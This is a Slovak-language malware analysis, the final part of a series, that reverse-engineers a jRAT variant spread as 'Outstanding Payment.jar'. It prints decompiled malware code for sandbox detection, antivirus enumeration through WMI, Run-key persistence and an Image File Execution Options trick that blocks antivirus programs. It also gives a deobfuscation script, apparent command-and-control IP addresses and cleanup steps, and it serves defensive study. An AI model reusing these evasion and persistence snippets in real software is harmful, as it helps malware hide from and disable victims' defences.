Analýza podozrivého súboru "Outstanding Payment.jar" - 3. časť

Aká je skutočná funkčná výbava skúmaného malwaru, a aké možnosti ponúka útočníkovi v prípade úspešného nasadenia? Stačí v prípade infekcie zmazať jeden súbor, alebo je potrebná kompletná reinštalácia systému? Posledná časť trojice článkov o analýze podozrivého Java súboru rozoberá samotné jadro malwaru a jeho jednotlivé komponenty.

Toto je posledná časť trojice článkov, v ktorej sa zaoberám analýzou podozrivého súboru „Outstanding Payment.jar“.

V prvej časti sa mi podarilo prelomiť prvú ochrannú vrstvu a dešifrovať zdroje aplikácie. Výstupom bola adresárová štruktúra s novými Java triedami a niekoľkými binárnymi súbormi.

V druhej časti som spomedzi týchto súborov získal 2 takmer identické Java archívy líšiace sa iba v konfigurácii. Dešifrovaním konfiguračných súborov som odhalil pravdepodobné IP adresy s ktorými malware komunikuje.

Posledným krokom bola analýza jadra malwaru – teda konkrétnej implementácie, podporovaných funkcií a prípadne komunikačného protokolu.

The Last Deobfuscation

Bohužiaľ, na spoľahlivú stopercentnú dekompiláciu neposlúžil žiadny z vyskúšaných nástrojov – kód bol zrejme upravený na úrovni Java Bytecode inštrukcií, tak aby dekompilácia buď havarovala alebo vyprodukovala nesprávny výstup.

Nesmierne užitočným sa ukázal byť Bytecode Viewer (https://github.com/Konloch/bytecode-viewer), ktorý umožňuje okrem zobrazenia Java Bytecode inštrukcií aj dekompiláciu, a to pomocou 5 rôznych dekompilátorov (Procyon, CFR, JD-GUI, FernFlower, Krakatau). Výstupy je pri tom možné zobraziť vedľa seba a porovnávať.

Aspoň orientačný pohľad na zdrojový kód dokázal ponúknuť CFR a FernFlower:

decompiler_cfr_fern.png
Dekompilátory CFR a FernFlower

Tak ako nazačiatku, pri analýze obálky malwaru, znovu som sa sústredil na textové reťazce, ktoré boli evidentne zakódované alebo zašifrované. V programe bol každý textový reťazec obalený volaním jednej z piatich dekódovacích funkcií:

server.b.IIIIIIiiiI.IIIiIii
server.m.iiIIiiiIII.IIIiIii
server.t.iIiiiiiiii.IIIiIii
server.t.iiiIiiIIIi.IIIiIii
server.t.iiIIiIIiII.IIIiIii

Rôzne dekompilátory produkovali odlišný výstup, preto bola nutná analýza Bytecode inštrukcií.

Ukázalo sa, že obfuskácia prebieha vcelku zaujímavým spôsobom. Dekódovacia metóda postupne:

  1. získa StackTrace, a pomocou neho meno triedy a metódy odkiaľ bola volaná, na základe čoho vytvorí dekódovací kľúč,
  2. vypočíta 2 celočíselné konštanty pomocou rôznych bitových operácií,
  3. v cykle prechádza vstupný reťazec a kľúč, pričom znaky na odpovedajúcich pozíciách kombinuje operáciou XOR spolu s dvomi vypočítanými konštantami,
  4. vráti výsledný reťazec.

Kľúč na dešifrovanie každého reťazca teda závisí od toho, kde v programe je daný reťazec použitý.

Navyše, v tele metódy bolo vložených viacero bezvýznamných inštrukcií (napr. pridávanie a vzápätí odoberanie hodnôt zo zásobníka alebo výpočet hodnôt, ktoré nikdy neboli použité), zrejme za účelom sťaženia dekompilácie.

Všetkých 5 dekódovacích metód sa líšilo iba:

  • spôsobom vytvorenia kľúča (volajúca trieda + metóda alebo metóda + trieda) a
  • výpočtom 2 celočíselných konštánt.

Nebolo teda ťažké replikovať dekódovací algoritmus napr. v jazyku Python:

def decode(encoded, key, const1=102, const2=55):
    decoded = [' ' for c in encoded]
    inputIndex = len(encoded) - 1
    keyIndex = len(key) - 1
    while inputIndex >= 0:
        decoded[inputIndex] = chr(const1 ^ ord(encoded[inputIndex]) ^ ord(key[keyIndex]))
        inputIndex -= 1

        if inputIndex < 0:
            break

        decoded[inputIndex] = chr(const2 ^ ord(encoded[inputIndex]) ^ ord(key[keyIndex]))
        inputIndex -= 1
        keyIndex -= 1

        if keyIndex < 0:
            keyIndex = len(key) - 1

    return "".join(decoded)
Algoritmus dekódujúci textové reťazce

Pomocou tejto metódy bolo potom možné dekódovať všetky zašifrované reťazce v exportovaných dekompilovaných triedach. Stačilo postupne prechádzať jednotlivé súbory, pomocou primitívnej stavovej logiky sledovať aktuálny kontext (názov triedy a metódy), podľa názvu dekódovacej metódy zvoliť spôsob vytvorenia kľúča a odpovedajúce číselné konštanty a celé volanie v texte nahradiť za dekódovaný reťazec.

Na vyhľadávanie poslúžili regulárne výrazy:

/^public.*class (.*?) .*\{/
Definícia triedy
/^\s*(?:(?:public)|(?:private)|(?:protected)).* (\w+)\(.*\).*\{/
Definícia metódy
/([iI]+)\.([iI]+)\("(.*?)"\)/
Volanie dekódujúcej metódy

Vďaka odkrytiu textových reťazcov sa stal kód oveľa čitateľnejším, a hoci dekompilácia bola stále len približná, bolo možné získať oveľa lepšiu predstavu o tom, čo všetko skúmaný malware vykonáva.

Code Analysis – Malware Features

Jednou zo zaujímavých vlastností tohto malwaru je prenosnosť na rôzne operačné systémy. Podporované sú systémy Windows, Linux aj Mac OS:

if (Server.settings.getBoolean(server.t."INSTALL")) {
    Object object;
    Sleep.sleep(Server.settings.getInt("DELAY_INSTALL") * 1000);
    IIiiIiiiii3 = null;
    if (Server.settings.has("WINDOWS")) {
        object = IIiiIiiiii3 = new server.y.iiIIiiiIII();
    } else if (Server.settings.has("LINUX")) {
        object = IIiiIiiiii3 = new IIiIiiiiiI();
    } else {
        if (Server.settings.has("MAC")) {
            IIiiIiiiii3 = new iiIIiIIiII();
        }
        object = IIiiIiiiii3;
    }
    if (object != null) {
        IIiiIiiiii3.IIIiIii();
    }
}
Rozhodovanie podľa operačného systému

Použitá je aj kontrola virtualizovaného prostredia. Program môže v prípade, keď zistí, že ide o virtualizáciu, skončiť, a skryť tak svoju podozrivú činnosť pred detekčným softvérom alebo analytikom skúmajúcim správanie v izolovaných podmienkach.

public static /* synthetic */ boolean IIIiIiIiiiIIIiii() {
    if (Server.settings.has("LINUX")) {
        return new File("/etc/init.d/vboxadd").exists();
    }
    if (Server.settings.has("MAC")) {
        return false;
    }
    if (!Server.settings.has("WINDOWS")) return false;
    String IIiiIiiiii = System.getenv((String)"ProgramFiles(X86)");
    if (IIiiIiiiii != null) return new File(new StringBuilder().insert(0, IIiiIiiiii).append("\\Oracle\\VirtualBox Guest Additions").toString()).exists();
    IIiiIiiiii = System.getenv((String)"ProgramFiles");
    return new File(new StringBuilder().insert(0, IIiiIiiiii).append("\\Oracle\\VirtualBox Guest Additions").toString()).exists();
}
Kontrola virtualizovaného prostredia

Na kontrolu prítomnosti antivíru alebo firewallu sú využívané VisualBasic skripty, konkréte rozhranie WMI (Windows Management Instrumentation):

Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")
Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct")
For Each objItem in colItems
    With objItem
        WScript.Echo "{""AV"":""" & .displayName & """}"
    End With
Next
Visual Basic skript na detekciu antivíru

V prípade, že je v konfigurácii nastavený inštalačný mód („INSTALL“: true), malware vytvára v domovskom adresári používateľa svoj pracovný priečinok s názvom podľa premennej z konfiguračného súboru (JAR_FOLDER) a do tohto priečinka sa nakopíruje s názvom a príponou, ktoré sú taktiež získané z konfiguračného súboru. Navyše vytvorí záznam v registroch pre automatické spúšťanie, a nakoniec celý pracovný priečinok označí za skrytý.

File IIiiIiiiii = new File(Server.settings.getString("PARENT_FOLDER"));
File IIiiIiiiii2 = new File(IIiiIiiiii, Server.settings.getString("JAR_NAME") + "." + Server.settings.getString("JAR_EXTENSION"));
IIiiIiiiii.mkdirs();
if (Server.settings.getString("SERVER_PATH").equalsIgnoreCase(IIiiIiiiii2.getAbsolutePath())) return;
Runtime.getRuntime().exec(new String[]{"reg", "add", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", Server.settings.getString("JAR_REGISTRY"), "/t", "REG_EXPAND_SZ", "/d", new StringBuilder().insert(0, "\\\"").append(Server.settings.getString("JRE_PATH")).append("\\\" -jar \\\"").append(IIiiIiiiii2.getAbsolutePath()).append("\\\"").toString(), "/f"});
iIiiiiiiii.IIIiIii(new File(Server.settings.getString("PARENT_FOLDER")));
Copy.copyFile(new File(Server.settings.getString("SERVER_PATH")), IIiiIiiiii2);
Inštalácia do cieľového priečinku a vytvorenie záznamu v registroch pre automatické spúšťanie

V samostatnom vlákne sa malware pripája na IP adresy a porty z konfiguračnej premennej NETWORK. Po pripojení na danú adresu odošle svoju konfiguráciu vo formáte JSON a v nekonečnom cykle očakáva zo serveru príkaz vo formáte: 

{“COMMAND”: CMD}

CMD je pritom číslo v rozsahu 100-115.

Útočník môže pomocou príkazov napríklad:

Malware zároveň obsahuje kód na úpravu registrov. Špeciálne je možné upravovať registre [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\. Práve tieto registre využívajú často útočníci na efektívne zablokovanie ľubovoľného programu, napríklad antivíru:

JSONArray IIiiIiiiii4 = Server.settings.getJSONArray("SECURITY");
boolean bl = false;
IIiiIiiiii3.append("Windows Registry Editor Version 5.00\r\n");
void v0 = IIiiIiiiii;
while (v0 < IIiiIiiiii4.length()) {
    JSONArray IIiiIiiiii5;
    int IIiiIiiiii6;
    Object IIiiIiiiii7;
    JSONObject IIiiIiiiii8 = IIiiIiiiii4.getJSONObject((int)IIiiIiiiii);
    if (IIiiIiiiii8.has("PROCESS")) {
        IIiiIiiiii5 = IIiiIiiiii8.getJSONArray("PROCESS");
        int n = IIiiIiiiii6 = 0;
        while (n < IIiiIiiiii5.length()) {
            IIiiIiiiii7 = IIiiIiiiii5.getString(IIiiIiiiii6);
            IIiiIiiiii2.add(IIiiIiiiii7);
            IIiiIiiiii3.append("\r\n");
            IIiiIiiiii3.append("\"debugger\"=\"svchost.exe\"\r\n");
            IIiiIiiiii3.append("[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\").append((String)IIiiIiiiii7).append("]\r\n");
            n = ++IIiiIiiiii6;
        }
    }
...
Modifikácia registrov

Ak je napríklad v zložke Image File Execution Options vytvorený register myantivirus.exe, s kľúčom debugger=svchost.exe, znamená to, že namiesto programu myantivirus.exe sa bude spúšťať program svchost.exe, čím je antivírus zablokovaný.

Záver

Analyzovaný súbor „Outstanding Payment.jar“ je variantom rozšíreného Java malwaru jRAT. Obsahuje niekoľko úrovní ochrany proti detekcii a automatickému aj manuálnemu skúmaniu.

Použité techniky na sťaženie statickej analýzy zahŕňajú:

  • šifrovanie zdrojov pomocou algoritmov AES a RSA,
  • rozdelenie súborov na fragmenty a rozptýlenie do niekoľkých binárnych zdrojov,
  • reflexívne volania,
  • obfuskáciu textových reťazcov,
  • obfuskáciu toku programu.

Z hľadiska dynamickej analýzy malware:

  • kontroluje beh vo virtuálnom prostredí,
  • kontroluje prítomnosť antivíru a firewallu,
  • obsahuje kód na deaktivovanie vybraného programu, napr. antivíru.

Ide o multiplatformový produkt obsahujúci špecializovaný kód pre operačné systémy Windows, Linux aj MacOS.

Architektúra je modulárna, podporuje dynamické pridávanie rozšírení (pluginov) a útočníkovi poskytuje kompletnú kontrolu nad strojom obete.

Vďaka rozsiahlemu využitiu šifrovania je automatizovaná analýza a detekcia náročná. Navyše, vďaka technike rozdeľovania súborov na fragmenty a ich následnému rozptýleniu medzi zdroje aplikácie je obídenie detekcie na základe signatúry triviálne – stačí premiešať jednotlivé fragmenty, prípadne zmeniť ich veľkosti, a výsledný súbor má okamžite úplne novú unikátnu podobu.

Keďže útočník získava absolútnu kontrolu nad infikovaným počítačom, je pravdepodobné, že po spustení malwaru sa bude snažiť implantovať ďalšie skryté dvere do systému. Jediným spoľahlivým riešením v prípade infekcie je teda kompletné preinštalovanie systému.

V prípadoch, kedy to nie je možné, je potrebné minimálne odstrániť všetky súbory vytvorené pri inštalácii malwaru – priečinok JAR_FOLDER z konfiguračného súboru v domovskom adresári používateľa (v tomto prípade wert).

Taktiež je potrebné odstrániť vytvorené záznamy z registrov v zložke HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\, konkrétne hodnotu JAR_REGISTRY z konfiguračného súboru (v tomto prípade znovu wert).

Okrem toho je vhodné nejaký čas pozorne sledovať sieťovú komunikáciu zo stroja ktorý bol infikovaný – predovšetkým inkriminované IP adresy 197.211.224.186 a 188.53.34.50.